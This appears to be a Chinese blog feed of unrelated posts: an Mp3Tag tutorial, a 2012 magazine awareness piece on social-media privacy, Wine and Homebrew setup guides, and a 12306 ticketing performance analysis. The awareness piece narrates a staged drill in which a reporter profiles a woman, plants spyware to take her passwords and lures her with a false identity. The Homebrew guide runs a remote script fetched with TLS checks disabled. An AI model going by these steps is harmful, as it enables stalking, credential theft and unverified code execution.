对于 freedb 来说,情况略有不用,选择文件之后点击“标签数据源”菜单中的“freedb”,此时会弹出如下图所示的对话框,选择默认的“根据选定的文件查找信息”即可,点击确定,如果可以找到相应专辑的话稍等片刻就会进入“调整标签信息”对话框,调整方法与上文所述一致。
如果内置的标签数据源不能满足需求的话,可以添加标签数据源。下面我推荐几个不错的标签数据源:freedb 日本語、豆瓣和 Amazon.co.jp。下面我们来看看如何添加标签数据源:
freedb 日本語属于 freedb 类服务,添加方法与其他标签数据源不同,点击工具菜单,选择选项,或者按下 Ctrl + O 快捷键组合,启动 Mp3Tag 选项设置。选择“标签数据源”类别下的“freedb”子类别,将“地址”文本框修改为freedbtest.dyndns.org,点击确定即可。
需要注意的是原有的 freedb 服务器会被替换,而 freedb 日本語的服务器上以日语音乐信息为主。如果要恢复到原有的话请点击端口文本框右侧的“当前Internet上可用的freedb服务器列表”按钮即可恢复。
freedb 日本語的使用方法与 freedb 一致,选择“标签数据源”菜单中的“freedb”即可。
豆瓣、Amazon.co.jp 则都是从相应网站抓取标签。添加方法非常简单,首先下载对应的标签数据源文件(.src),然后将其复制到 %appdata%\Mp3tag\data\sources 目录下,如在笔者的电脑上为 C:\Users\Terry Chen\AppData\Roaming\Mp3tag\data\sources(运行豆瓣插件压缩包中的 OpenSourcesDirectory.bat 可以快速打开此目录),重新启动 Mp3tag 即可在标签数据源菜单中选用,使用方法与 Amazon.com 一致。
对于一些专辑,我们虽然可以在网络上搜索到相关专辑信息(例如歌手的官方网站),但是在标签数据源中却搜索不到,那么我们就需要手动修改了。不过利用“标签列表文件 – 标签”的转换功能,我们可以很方便实现从文本文件到标签的转换。
首先为了在创建标签文件时更为方便,首先我们需要将音乐文件名进行转换。标签列表文件中是通过文件名将音乐文件与标签信息对应起来的,所以应该将音乐文件名转换为比较简单的形式,推荐大家使用数字作为文件名,如 01.flac 等。
然后开始创建标签列表文件,在标签列表文件中,每一行代表着一个单独的文件,标签列表文件的写法没有硬性要求,此后在转换时通过指定格式串识别,需要注意的是每一行都必须有对应的文件名,不同字段的信息请使用文件名中的非法字符进行分割,如 / * | 等等,以避免与文件名混淆。同一个标签列表文件中必须按照相同的格式编写,例如可以按照“%_filename_ext%|%title%”的格式串编写,下面是以 Eagles 的专辑 Hotel California 为例编写的标签列表文件:
01.FLAC|Hotel California
02.FLAC|New Kid in Town
03.FLAC|Life in the Fast Lane
04.FLAC|Wasted Time
05.FLAC|Wasted Time (Reprise)
06.FLAC|Victim of Love
07.FLAC|Pretty Maids All in a Row
08.FLAC|Try and Love Again
09.FLAC|The Last Resort
标签列表文件看似复杂,实际编写很简单。我们既可以利用记事本中的替换功能,也可以使用 Excel 编写。
最后进入 Mp3Tag,导入相关音乐文件,按下 Ctrl + S 快捷键组合全选,然后点击转换菜单中的“文件名 – 标签”选项,弹出如下图所示的对话框。
在“文件名”文本框中填入标签列表文件的路径,或者点击右侧按钮浏览。在“格式串”文本框中输入相应的格式串,如“%_filename_ext%|%title%”,其中“%_filename_ext%”是指文件名,需要手动输入或复制,无法在右侧菜单中选择;“|”则是分隔符,可自行选择其他无法在文件名中使用的特殊符号;“%title%”则是相应的字段,可在右侧菜单中选择。
设置完毕之后点击确定,即可开始转换,完成之后 Mp3Tag 会提示多少文件成功转换。
Mp3Tag 内置了强大的动作功能,可以帮助我们快速进行一些自定义操作。
点击“动作”菜单,选择“动作组”,弹出“动作组”对话框,在此处我们可以自定义常见的动作,从而可以快速执行一些重复操作。
Mp3Tag 已经内置了三个动作组,Case conversion、CD-R 和 Standard,作为动作组的实例,双击相应动作组我们可以查看具体动作组进行了什么样的动作,例如,Case conversion 就包含了将所有以(-_开头的字段转换为大小写混合的动作。
动作组列表右侧的按钮可以对动作组进行管理,我们可以点击新建动作组按钮,输入动作组名称,然后自定义自己的动作组。
自定义动作组的对话框与管理动作组的的对话框有些类似,我们可以在此新建适合自己需要的动作,下面介绍Mp3Tag 支持的动作类型:
对指定的标签字段(如 ARTISIT、TITLE 等等)、文件名(_FILENAME)甚至字段名称(_FIELDNAME)进行大小写转换。
支持大写字母、小写字母、大小写混合和句子四种模式,下面用例子说明其区别:
大写字母:
AIR – MOON SAFARI – 03 – ALL I NEED.MP3
小写字母:
air – moon safari – 03 – all i need.mp3
大小写混合:
Air – Moon Safari – 03 – All I Need.mp3
句子:
Air – moon safari – 03 – all i need.mp3
如果在 Mp3Tag 中音乐标签显示乱码的话,可以尝试进行代码页转换,只要选择相应的字段及原始代码页(如 Chinese (Traditional) – 中文(繁體))即可。
导出标签信息,较不常用,不多加介绍。
将音乐文件中内嵌的唱片封面导出到相应文件,可以指定文件名的具体格式,支持 %artist% 和 %album% 等字段的使用。
使用自定义格式串格式化某个字段的值,也可以用于将某个字段的值复制到另一个字段中。
例如,将字段设置为 ENCODEDBY,将格式串设置为 %comment%,就可以将 COMMENT 字段复制到 ENCODEDBY 字段。
如果目前某个字段包含了两个字段的信息,如标题字段的格式为“Artist / Title”,我们就可以将源设置为“%title%”,将猜测模式设置为“%artist% / %title%”进行分割。
从相应文件导入唱片封面,可以指定文件名的具体格式进行导入,支持 %artist% 和 %album% 等字段的使用。
从文本文件中导入相应字段的内容,注意此处只能导入一个字段的内容,可以指定文件名的具体格式进行导入,支持 %artist% 和 %album% 等字段的使用。
例如,在文件目录中有对应名称的歌词文件,在字段处选择 UNSYNCEDLYRICS,在文件名处输入 %title%.lrc 就可实现内嵌歌词。
注:由于不同的播放器字段支持比较混乱,如果 UNSYNCEDLYRICS 无法显示歌词的话请尝试使用 LYRICS 字段。
将重复的字段进行合并,利用格式串进行设置,较不常用,不多加介绍。
删除重复的字段,只留下最后一个字段的内容,较不常用,不多加介绍。
清除指定的字段,可键入多个字段,例如使用 COMMENT;PICTUR 清除备注和图片。
清除指定字段之外的字段,可键入多个字段,例如使用 ALBUM;ARTIST;COMMENT;GENRE;TRACK;YEAR 清除专辑、艺术家、备注、流派、音轨和年代之外的所有字段。
将制定字段中的特定词语替换为另外的词语,可以指定全字匹配和区分大小写。
使用正则表达式进行匹配替换,具体用法可参见Replace with regular expression。
如果目前某个字段包含了多个信息,就可以指定相应字段和分隔符,拆分为多个字段。
在一个动作组中可以设置多个动作,设置完成之后选择相应文件,选择动作菜单中的相应动作组,就可以执行自定义动作了。
上面就是使用 Mp3Tag 的主要方法了,善用 Mp3Tag,我们可以更好地管理我们的音乐文件,和 Windows 7 的新特性库配合更是如虎添翼。
Posted on http://terrychen.info/mp3tag-tutorial/
]]>如今,社交时代的“蔡桓公”比比皆是,他们在网上晒照片、秀自己的地理位置、与附近的人聊天,殊不知这些行为在黑客看来,简直就是“裸体”行走在闹市之中! 如果劝他们,反而会遭到白眼:这是社交生活,你Out了!其实黑客利用这些隐私信息,就可以掌握一个人的生活轨迹。不信?来看看我们的安全演习吧!
体验“裸体”社交
这是演习:掌控MM的生活轨迹
在2011年第41期的《带上保镖放心消费——网购保护方案》文章中,我们推荐了一名女读者“几度杏花雨”,她被电脑报多位编辑关注。8月15日,记者在北京中关村附近的星巴克咖啡馆内用一个陌生人的身份展开了安全演习,目的是验证能否通过收集Android平台公开发布的社交信息,来获取对方的真实身份。
8月15日 10:47
记者加了“几度杏花雨”的微信(她用的是Android手机),点击她的头像进入对话窗口,再点击头像就可以看到她注册微信的信息,其中就有QQ号码。记者查看了50条注册信息,发现90%的人会标明QQ号码,其实这也比较好理解,毕竟微信也是腾讯的产品,有关联度也很正常。
8月15日10:56
知道了“几度杏花雨”的QQ号码,记者登录了朋友网,输入该QQ号码进行搜索。当搜索结果弹出时,记者露出了笑容,她是实名注册的,这样就知道了她的名字李××。加为好友后,在“像册”中看到她的生活照片,知道了她的容貌,此外还看到了她6月照的大学毕业照。
8月15日 11:11
记者在微信中跟“几度杏花雨”聊天时,又发现了一个重要的信息,她有在Android版新浪微博秀“在哪儿”的习惯。于是记者登录了新浪微博位置频道(http://place.weibo.com),找到了她的微博,发现她在最近四个月内一共发了111条新浪微博。
这些信息在地图中形成了一个活动区域,例如她常去的地方有南宁火车站、新秀公园、××图书馆等。此外,记者看到有大量的博友在秀自己的地理位置,例如单独的微领地APP的用户就超过285万,如果加上Android版新浪微博自己就可以发地理位置,实际的用户至少上千万。
8月15日 11:39
在聊天过程中,记者向“几度杏花雨”推荐了一款含有手机间谍软件“隐私大盗”恶意代码的Android益智游戏(为演习特制的,用后就销毁了),毫无防备的 她安装游戏后,没过多久记者就获得了她的手机号码、通讯录、大量的短信和Gmail账号和密码。更妙地是,她的Gmail密码也是QQ密码、新浪微博密 码,也是她的大学407宿舍的座机号码。
8月15日 12:34
已经没有什么好挖掘的,是时候将她约出来了。记者伪装成她的小学同学,在QQ上故弄玄虚:“老同学,还记得我吗?听以前的同学说……”并不断道出她的一些生 活特征,然后又道:“这样,8月19日,下午两点我会去××图书馆,你来找我吧!到时候你就会认出我了!”不出意料,一直误以为记者是失散多年的老同学的 “几度杏花雨”同意了。假若记者有不良企图,后果不堪设想。演习结束后,当记者将演习过程和结果展示给“几度杏花雨”时,她看得目瞪口呆……
注:为保护当事人隐私,文中“几度杏花雨”为化名
这不是演习:绑架和入室盗窃
其实,我们进行安全演习,并不是心血来潮,在现实生活中,因为社交生活泄露个人隐私,被不法分子利用来犯罪的案例在国内外都上演过。
2011年,成都市青白江区大湾区小学生的妈妈,在班级门口为儿子拍了一张照,并将照片发到了微博上“晒幸福”,结果照片被同一社区的不良青年张某看到,张某根据 照片中的内容,得知了该小学生的容貌和班级信息。随后,张某多次到该小学生就读的学校门口蹲守,找机会与他套近乎,直到有一天将他骗走,并向其家长勒索10万元。
除了绑架,还有入室盗窃。2010年,美国破获了一起涉案额高达30万美元的入室盗窃案,这伙盗窃团伙就是利用社交网站 Facebook来实施踩点的。该团伙成员称他们了解被盗人家中有没有人,还有家中环境的情况,都是通查看目标的Facebook状态和Facebook 自带像册中的照片了解的。
美国理财机构Credit Sesame针对入室盗窃做过一次调查:“我们发现15%的人曾经在Facebook 上宣称过自己已经出门了;35%的人曾经在FourSquare 和Twitter 上报道过自己的当前位置。因此,入室盗窃也正在与时俱进,有78%的罪犯使用Facebook、Twitter、FourSquare来寻找并观察目标‘客户’。”
看到这里,你还以为在社交生活中泄露一些看起来“无关紧要”的信息没有危害吗?
社交黑客 不再迷恋技术
时代变了,黑客也在变!
最早的时候,技术是黑客的核心,黑客技术精湛的高手受到顶礼膜拜,不懂黑客技术敢自称黑客吗?如今,黑客进化出一个新的分支——社交黑客,他们不需要懂黑客技术,也不需要会用黑客工具,只要会搜索、会欺骗,就可以获得他们感兴趣的个人隐私。
例如,微博有“我在哪”功能,能够在发微博的同时显示地理位置,并在地图上标出,不法分子就能收集并分析出你的生活习惯。而像QQ空间、人人网等网站,又会泄露你的照片、生活经历等个人隐私。此外,微信和陌陌的定位功能,可以让你被不法分子锁定方位,找到你并不难。
本文出自2012-08-27出版的《电脑报》第34期
_
_
]]>目前,在Mac OS X中运行Windows程序,不外乎两种方法。一是在虚拟机软件如VirtualBox、VMware Fusion、Parallels Desktop中安装完整的Windows操作系统;另一种则是利用Wine或其商业版本Crossover Office直接运行Windows软件。
Wine的名字是一个有意思的缩写,Wine Is Not an Emulator,如其所表,Wine并非虚拟机,它实现功能的方法是提供对Windows API的兼容,从而使Windows程序能够运行在Linux/Mac OS X操作系统中。与虚拟机相比,Wine的运行效率和系统资源占用都有很大优势,但兼容性会差一些,不过很多软件包括Office、Photoshop之类的大型软件都能运行。这里有一个Wine的兼容性列表。
本文谈一下Wine在Mac OS X中的安装和配置。
通过Homebrew安装Wine非常简单,输入以下命令即可。
|
将常用的Windows程序放置到X11的应用程序
菜单中,就不需要使用命令行操作了;也可以利用Automator把它们包装成Mac应用。推荐使用Automator,同时启动Fcitx和Windows应用,效果完美,参见如下截图。
]]>
我曾经是MacPorts的使用者,但了解Homebrew之后,立即“弃暗投明”了。其实MacPorts也是一个很不错的解决方案,除了一个实在让我头疼的特性。MacPorts有个原则,对于软件包之间的依赖,都在MacPorts内部解决(/opt/local),无论系统本身是否包含了需要的库,都不会加以利用。这使得MacPorts过分的庞大臃肿,导致系统出现大量软件包的冗余,占用不小的磁盘空间,同时稍大型一点的软件编译时间都会难以忍受。
而Homebrew的原则恰恰相反,它尽可能地利用系统自带的各种库,使得软件包的编译时间大为缩短;同时由于几乎不会造成冗余,软件包的管理也清晰、灵活了许多。Homebrew的另一个特点是使用Ruby定义软件包安装配置(叫做formula),定制非常简单。
至于Fink,由于并未安装使用过,不加讨论。(从互联网上的消息看,Fink由于维护人手的问题,软件包的更新不是很及时。)于我而言,Homebrew已经足够完善,除非发现重大的问题或者出现新的具有突破性的竞争对手,否则我没兴趣折腾别的软件包管理系统了。
下面说说Homebrew的安装与使用。
首先确保你的系统满足如下要求:
1. 基于Intel CPU
2. 操作系统为Mac OS X 10.5 Leopard或更高版本
3. 已安装版本管理工具Git(Mac OS X 10.7 Lion已经预安装)
4. 已安装Xcode开发工具1
5. 已安装Java Developer Update2
注1:Xcode 4.3中,命令行编译工具是可选安装,需要在Preferences
> Downloads
中激活。
注2:可选,Homebrew本身不依赖于Java,只有部分软件包的安装需要Java支持。
Homebrew的安装非常简单,在终端程序中输入以下命令即可。
/usr/bin/ruby -e "$(/usr/bin/curl -fksSL https://raw.github.com/mxcl/homebrew/master/Library/Contributions/install_homebrew.rb)"
安装过程需要输入root口令。
Homebrew的可执行命令是brew,其基本使用方法如下(以wget为例)。
查找软件包
brew search wget
安装软件包
brew install wget
列出已安装的软件包
brew list
删除软件包
brew remove wget
查看软件包信息
brew info wget
列出软件包的依赖关系
brew deps wget
更新brew
brew update
列出过时的软件包(已安装但不是最新版本)
brew outdated
更新过时的软件包(全部或指定)
brew upgrade
或 brew upgrade wget
如果自己需要的软件包并不能在Homebrew中找到,怎么办呢,毕竟Homebrew是一个新生项目,不可能满足所有人的需求。当然,我们可以自行编译安装,但手工安装的软件包游离于Homebrew之外,管理起来不是很方便。
前文说过,Homebrew使用Ruby实现的软件包配置非常方便,下面简单谈一谈软件包的定制(假定软件包名称是bar,来自foo站点)。
1. 首先找到待安装软件的源码下载地址
http://foo.com/bar-1.0.tgz
2. 建立自己的formula
brew create http://foo.com/bar-1.0.tgz
3. 编辑formula,上一步建立成功后,Homebrew会自动打开新建的formula进行编辑,也可用如下命令打开formula进行编辑。
brew edit bar
Homebrew自动建立的formula已经包含了基本的configure
和make install
命令,对于大部分软件,不需要进行修改,退出编辑即可。
4. 输入以下命令安装自定义的软件包
brew install bar
关于Homebrew的其它功能,比如将自定义软件包提交到官方发布等,请参考Homebrew项目的主页及其Man Page。你将发现Homebrew不仅是“家酿”,更是“佳酿”。
Posted on http://linfan.info/blog/2012/02/25/homebrew-installation-and-usage/
]]>任何技术都离不开业务需求,所以,要说明性能问题,首先还是想先说说业务问题。
其一,有人可能把这个东西和QQ或是网游相比。但我觉得这两者是不一样的,网游和QQ在线或是登录时访问的更多的是用户自己的数据,而订票系统访问的是中心的票量数据,这是不一样的。不要觉得网游或是QQ能行你就以为这是一样的。网游和QQ 的后端负载相对于电子商务的系统还是简单。
其二,有人说春节期间订火车的这个事好像网站的秒杀活动。的确很相似,但是如果你的思考不在表面的话,你会发现这也有些不一样。火车票这个事,还有很多查询操作,查时间,查座位,查铺位,一个车次不 行,又查另一个车次,其伴随着大量的查询操作,下单的时候需要对数据库操作。而秒杀,直接杀就好了。另外,关于秒杀,完全可以做成只接受前N个用户的请求(完全不操作后端的任何数据, 仅仅只是对用户的下单操作log),这种业务,只要把各个服务器的时间精确同步了就可以了,无需在当时操作任何数据库。可以订单数够后,停止秒杀,然后批量写数据库。火车票这个岂止是秒杀那么简单。能不能买到票得当时告诉用户啊。
其三,有人拿这个系统和奥运会的票务系统比较。我觉得还是不一样。虽然奥运会的票务系统当年也一上线就废了。但是奥运会用的是抽奖的方式,也就是说不存在先来先得的抢的方式,而且,是事后抽奖,事前只需要收信息,事前不需要保证数据一致性,没有锁,很容易水平扩展。
其四,订票系统应该和电子商务的订单系统很相似,都是需要对库存进行:1)占住库存,2)支付(可选),3)扣除库存的操作。这个是需要有一致性的检查的,也就是在并发时需要对数据加锁的。B2C的电商基本上都会把这个事干成异步的,也就是说,你下的订单并不是马上处理的,而是延时处理的,只有成功处理了,系统才会给你一封确认邮件说是订单成功。我相信有很多朋友都收到认单不成功的邮件。这就是说,数据一致性在并发下是一个瓶颈。
其五,铁路的票务业务很变态,其采用的是突然放票,而有的票又远远不够大家分,所以,大家才会有抢票这种有中国特色的业务的做法。于是当票放出来的时候,就会有几百万人甚至上千万人杀上去,查询,下单。几十分钟内,一个网站能接受几千万的访问量,这个是很恐怖的事情。据说12306的高峰访问是10亿PV,集中在早8点到10点,每秒PV在高峰时上千万。
多说几句:
库存是B2C的恶梦,库存管理相当的复杂。不信,你可以问问所有传统和电务零售业的企业,看看他们管理库存是多么难的一件事。不然,就不会有那么多人在问凡客的库存问题了。(你还可以看看《乔布斯传》,你就知道为什么Tim会接任Apple的CEO了,因为他搞定了苹果的库存问题)
对于一个网站来说,浏览网页的高负载很容易搞定,查询的负载有一定的难度去处理,不过还是可以通过缓存查询结果来搞定,最难的就是下单的负载。因为要访问库存啊,对于下单,基本上是用异步来搞定的。去年双11节,淘宝的每小时的订单数大约在60万左右,京东一天也才能支持40万(居然比12306还差),亚马逊5年前一小时可支持70万订单量。可见,下订单的操作并没有我们相像的那么性能高。
淘宝要比B2C的网站要简单得多,因为没有仓库,所以,不存在像B2C这样有N个仓库对同一商品库存更新和查询的操作。下单的时候,B2C的 网站要去找一个仓库,又要离用户近,又要有库存,这需要很多计算。试想,你在北京买了一本书,北京的仓库没货了,就要从周边的仓库调,那就要去看看沈阳或 是西安的仓库有没有货,如果没有,又得看看江苏的仓库,等等。淘宝的就没有那么多事了,每个商户有自己的库存,库存分到商户头上了,反而有利于性能。
数据一致性才是真正的性能瓶颈。有 人说nginx可以搞定每秒10万的静态请求,我不怀疑。但这只是静态请求,理论值,只要带宽、I/O够强,服务器计算能力够,并支持的并发连接数顶得住10万TCP链接的建立 的话,那没有问题。但在数据一致性面前,这10万就完完全全成了一个可望不可及的理论值了。
我说那么多,我只是想从业务上告诉大家,我们需要从业务上真正了解春运铁路订票这样业务的变态之处。
要解决性能的问题,有很多种常用的方法,我在下面列举一下,我相信12306这个网站使用下面的这些技术会让其性能有质的飞跃。
通过DNS的负载均衡器(一般在路由器上根据路由的负载重定向)可以把用户的访问均匀地分散在多个Web服务器上。这样可以减少Web服务器的请求负载。因为http的请求都是短作业,所以,可以通过很简单的负载均衡器来完成这一功能。最好是有CDN网络让用户连接与其最近的服务器(CDN通常伴随着分布式存储)。(关于负载均衡更为详细的说明见“后端的负载均衡”)
我看了一下12306.cn,打开主页需要建60多个HTTP连接,车票预订页面则有70多个HTTP请求,现在的浏览器都是并发请求的。所以,只要有100万个用户,就会有6000万个链接,太多了。一个登录查询页面就好了。把js打成一个文件,把css也打成一个文件,把图标也打成一个文件,用css分块展示。把链接数减到最低。
这个世界不是哪个公司都敢做图片服务的,因为图片太耗带宽了。现在宽带时代很难有人能体会到当拨号时代做个图页都不敢用图片的情形(现在在手机端浏览也是这个情形)。我查看了一下12306首页的需要下载的总文件大小大约在900KB左右,如果你访问过了,浏览器会帮你缓存很多,只需下载10K左右的文件。但是我们可以想像一个极端一点的案例,1百万用户同时访问,且都是第一次访问,每人下载量需要1M,如果需要在120秒内返回,那么就需要,1M * 1M /120 * 8 = 66Gbps的带宽。很惊人吧。所以,我估计在当天,12306的阻塞基本上应该是网络带宽,所以,你可能看到的是没有响应。后面随着浏览器的缓存帮助12306减少很多带宽占用,于是负载一下就到了后端,后端的数据处理瓶颈一下就出来。于是你会看到很多http 500之类的错误。这说明服务器垮了。
静态化一些不常变的页面和数据,并gzip一下。还有一个并态的方法是把这些静态页面放在/dev/shm下,这个目录就是内存,直接从内存中把文件读出来返回,这样可以减少昂贵的磁盘I/O。
很多人查询都是在查一样的,完全可以用反向代理合并这些并发的相同的查询。这样的技术主要用查询结果缓存来实现,第一次查询走数据库获得数据,并把数据放到缓存,后面的查询统统直接访问高速缓存。为每个查询做Hash,使用NoSQL的技术可以完成这个优化。(这个技术也可以用做静态页面)
对于火车票量的查询,个人觉得不要显示数字,就显示一个“有”或“无”就好了,这样可以大大简化系统复杂度,并提升性能。
缓存可以用来缓存动态页面,也可以用来缓存查询的数据。缓存通常有那么几个问题:
1)缓存的更新。也叫缓存和数据库的同步。有这么几种方法,一是缓存time out,让缓存失效,重查,二是,由后端通知更新,一量后端发生变化,通知前端更新。前者实现起来比较简单,但实时性不高,后者实现起来比较复杂 ,但实时性高。
2)缓存的换页。内存可能不够,所以,需要把一些不活跃的数据换出内存,这个和操作系统的内存换页和交换内存很相似。FIFO、LRU、LFU都是比较经典的换页算法。相关内容参看Wikipeida的缓存算法。
3)缓存的重建和持久化。缓存在内存,系统总要维护,所以,缓存就会丢失,如果缓存没了,就需要重建,如果数据量很大,缓存重建的过程会很慢,这会影响生产环境,所以,缓存的持久化也是需要考虑的。
诸多强大的NoSQL都很好支持了上述三大缓存的问题。
前面讨论了前端性能的优化技术,于是前端可能就不是瓶颈问题了。那么性能问题就会到后端数据上来了。下面说几个后端常见的性能优化技术。
关于数据冗余,也就是说,把我们的数据库的数据冗余处理,也就是减少表连接这样的开销比较大的操作,但这样会牺牲数据的一致性。风险比较大。很多人把NoSQL用做数据,快是快了,因为数据冗余了,但这对数据一致性有大的风险。这需要根据不同的业务进行分析和处理。(注意:用关系型数据库很容易移植到NoSQL上,但是反过来从NoSQL到关系型就难了)
几乎所有主流的数据库都支持镜像,也就是replication。数据库的镜像带来的好处就是可以做负载均衡。把一台数据库的负载均分到多台上,同时又保证了数据一致性(Oracle的SCN)。最重要的是,这样还可以有高可用性,一台废了,还有另一台在服务。
数据镜像的数据一致性可能是个复杂的问题,所以我们要在单条数据上进行数据分区,也就是说,把一个畅销商品的库存均分到不同的服务器上,如,一个畅销商品有1万的库存,我们可以设置10台服务器,每台服务器上有1000个库存,这就好像B2C的仓库一样。
数据镜像不能解决的一个问题就是数据表里的记录太多,导致数据库操作太慢。所以,把数据分区。数据分区有很多种做法,一般来说有下面这几种:
1)把数据把某种逻辑来分类。比如火车票的订票系统可以按各铁路局来分,可按各种车型分,可以按始发站分,可以按目的地分……,反正就是把一张表拆成多张有一样的字段但是不同种类的表,这样,这些表就可以存在不同的机器上以达到分担负载的目的。
2)把数据按字段分,也就是竖着分表。比如把一些不经常改的数据放在一个表里,经常改的数据放在另外多个表里。把一张表变成1对1的关系,这样,你可以减少表的字段个数,同样可以提升一定的性能。另外,字段多会造成一条记录的存储会被放到不同的页表里,这对于读写性能都有问题。但这样一来会有很多复杂的控制。
3)平均分表。因为第一种方法是并不一定平均分均,可能某个种类的数据还是很多。所以,也有采用平均分配的方式,通过主键ID的范围来分表。
4)同一数据分区。这个在上面数据镜像提过。也就是把同一商品的库存值分到不同的服务器上,比如有10000个库存,可以分到10台服务器上,一台上有1000个库存。然后负载均衡。
这三种分区都有好有坏。最常用的还是第一种。数据一旦分区,你就需要有一个或是多个调度来让你的前端程序知道去哪里找数据。把火车票的数据分区,并放在各个省市,会对12306这个系统有非常有意义的质的性能的提高。
前面说了数据分区,数据分区可以在一定程度上减轻负载,但是无法减轻热销商品的负载,对于火车票来说,可以认为是大城市的某些主干线上的车票。这就需要使用数据镜像来减轻负载。使用数据镜像,你必然要使用负载均衡,在后端,我们可能很难使用像路由器上的负载均衡器,因为那是均衡流量的,因为流量并不代表服务器的繁忙程度。因此,我们需要一个任务分配系统,其还能监控各个服务器的负载情况。
任务分配服务器有一些难点:
负载情况比较复杂。什么叫忙?是CPU高?还是磁盘I/O高?还是内存使用高?还是并发高?还是内存换页率高?你可能需要全部都要考虑。这些信息要发送给那个任务分配器上,由任务分配器挑选一台负载最轻的服务器来处理。
任务分配服务器上需要对任务队列,不能丢任务啊,所以还需要持久化。并且可以以批量的方式把任务分配给计算服务器。
任务分配服务器死了怎么办?这里需要一些如Live-Standby或是failover等高可用性的技术。我们还需要注意那些持久化了的任务的队列如何转移到别的服务器上的问题。
我看到有很多系统都用静态的方式来分配,有的用hash,有的就简单地轮流分析。这些都不够好,一个是不能完美地负载均衡,另一个静态的方法的致命缺陷是,如果有一台计算服务器死机了,或是我们需要加入新的服务器,对于我们的分配器来说,都需要知道的。
还有一种方法是使用抢占式的方式进行负载均衡,由下游的计算服务器去任务服务器上拿任务。让这些计算服务器自己决定自己是否要任务。这样的好处是可以简化系统的复杂度,而且还可以任意实时地减少或增加计算服务器。但是唯一不好的就是,如果有一些任务只能在某种服务器上处理,这可能会引入一些复杂度。不过总体来说,这种方法可能是比较好的负载均衡。
异步、throttle(节流阀) 和批量处理都需要对并发请求数做队列处理的。
异步在业务上一般来说就是收集请求,然后延时处理。在技术上就是可以把各个处理程序做成并行的,也就可以水平扩展了。但是异步的技术问题大概有这些,a)被调用方的结果返回,会涉及进程线程间通信的问题。b)如果程序需要回滚,回滚会有点复杂。c)异步通常都会伴随多线程多进程,并发的控制也相对麻烦一些。d)很多异步系统都用消息机制,消息的丢失和乱序也会是比较复杂的问题。
throttle 技术其实并不提升性能,这个技术主要是防止系统被超过自己不能处理的流量给搞垮了,这其实是个保护机制。使用throttle技术一般来说是对于一些自己无法控制的系统,比如,和你网站对接的银行系统。
批量处理的技术,是把一堆基本相同的请求批量处理。比如,大家同时购买同一个商品,没有必要你买一个我就写一次数据库,完全可以收集到一定数量的请求,一次操作。这个技术可以用作很多方面。比如节省网络带宽,我们都知道网络上的MTU(最大传输单元),以态网是1500字节,光纤可以达到4000多个字节,如果你的一个网络包没有放满这个MTU,那就是在浪费网络带宽,因为网卡的驱动程序只有一块一块地读效率才会高。因此,网络发包时,我们需要收集到足够多的信息后再做网络I/O,这也是一种批量处理的方式。批量处理的敌人是流量低,所以,批量处理的系统一般都会设置上两个阀值,一个是作业量,另一个是timeout,只要有一个条件满足,就会开始提交处理。
所以,只要是异步,一般都会有throttle机制,一般都会有队列来排队,有队列,就会有持久化,而系统一般都会使用批量的方式来处理。
云风同学设计的“排队系统” 就是这个技术。这和电子商务的订单系统很相似,就是说,我的系统收到了你的购票下单请求,但是我还没有真正处理,我的系统会跟据我自己的处理能力来throttle住这些大量的请求,并一点一点地处理。一旦处理完成,我就可以发邮件或短信告诉用户你来可以真正购票了。
在这里,我想通过业务和用户需求方面讨论一下云风同学的这个排队系统,因为其从技术上看似解决了这个问题,但是从业务和用户需求上来说可能还是有一些值得我们去深入思考的地方:
1)队列的DoS攻击。首先,我们思考一下,这个队是个单纯地排队的吗?这样做还不够好,因为这样我们不能杜绝黄牛,而且单纯的ticket_id很容易发生DoS攻击,比如,我发起N个 ticket_id,进入购票流程后,我不买,我就耗你半个小时,很容易我就可以让想买票的人几天都买不到票。有人说,用户应该要用身份证来排队, 这样在购买里就必需要用这个身份证来买,但这也还不能杜绝黄牛排队或是号贩子。因为他们可以注册N个帐号来排队,但就是不买。黄牛这些人这个时候只需要干一个事,把网站搞得正常人不能访问,让用户只能通过他们来买。
2)对列的一致性?对这个队列的操作是不是需要锁?只要有锁,性能一定上不去。试想,100万个人同时要求你来分配位置号,这个队列将会成为性能瓶颈。你一定没有数据库实现得性能好,所以,可能比现在还差
3)队列的等待时间。购票时间半小时够不够?多不多?要是那时用户正好不能上网呢?如果时间短了,用户不够时间操作也会抱怨,如果时间长了,后面在排队的那些人也会抱怨。这个方法可能在实际操作上会有很多问题。另外,半个小时太长了,这完全不现实,我们用15分钟来举例:有1千万用户,每一个时刻只能放进去1万个,这1万个用户需要15分钟完成所有操作,那么,这1千万用户全部处理完,需要1000*15m = 250小时,10天半,火车早开了。(我并非乱说,根据铁道部专家的说明:这几天,平均一天下单100万,所以,处理1000万的用户需要十天。这个计算可能有点简单了,我只是想说,在这样低负载的系统下用排队可能都不能解决问题)
4)队列的分布式。这个排队系统只有一个队列好吗?还不足够好。因为,如果你放进去的可以购票的人如果在买同一个车次的同样的类型的票(比如某动车卧铺),还是等于在抢票,也就是说系统的负载还是会有可能集中到其中某台服务器上。因此,最好的方法是根据用户的需求——提供出发地和目的地,来对用户进行排队。而这样一来,队列也就可以是多个,只要是多个队列,就可以水平扩展了。
我觉得完全可以向网上购物学习。在排队(下单)的时候,收集好用户的信息和想要买的票,并允许用户设置购票的优先级,比如,A车次卧铺买 不到就买 B车次的卧铺,如果还买不到就买硬座等等,然后用户把所需的钱先充值好,接下来就是系统完全自动地异步处理订单。成功不成功都发短信或邮件通知用户。这样,系统不仅可以省去那半个小时的用户交互时间,自动化加快处理,还可以合并相同购票请求的人,进行批处理(减少数据库的操作次数)。这种方法最妙的事是可以知道这些排队用户的需求,不但可以优化用户的队列,把用户分布到不同的队列,还可以像亚马逊的心愿单一样,让铁道部做车次统筹安排和调整(最后,排队系统(下单系统)还是要保存在数据库里的或做持久化,不能只放在内存中,不然机器一down,就等着被骂吧)。
写了那么多,我小结一下:
0)无论你怎么设计,你的系统一定要能容易地水平扩展。也就是说,你的整个数据流中,所有的环节都要能够水平扩展。这样,当你的系统有性能问题时,“加3倍的服务器”才不会被人讥笑。
1)上述的技术不是一朝一夕能搞定的,没有长期的积累,基本无望。我们可以看到,无论你用哪种都会引发一些复杂性。
2)集中式的卖票很难搞定,使用上述的技术可以让订票系统能有几佰倍的性能提升。而在各个省市建分站,分开卖票,是能让现有系统性能有质的提升的最好方法。
3)春运前夕抢票且票量供远小于求这种业务模式是相当变态的,让几千万甚至上亿的人在某个早晨的8点钟同时登录同时抢票的这种业务模式是变态中的变态。业务形态的变态决定了无论他们怎么办干一定会被骂。
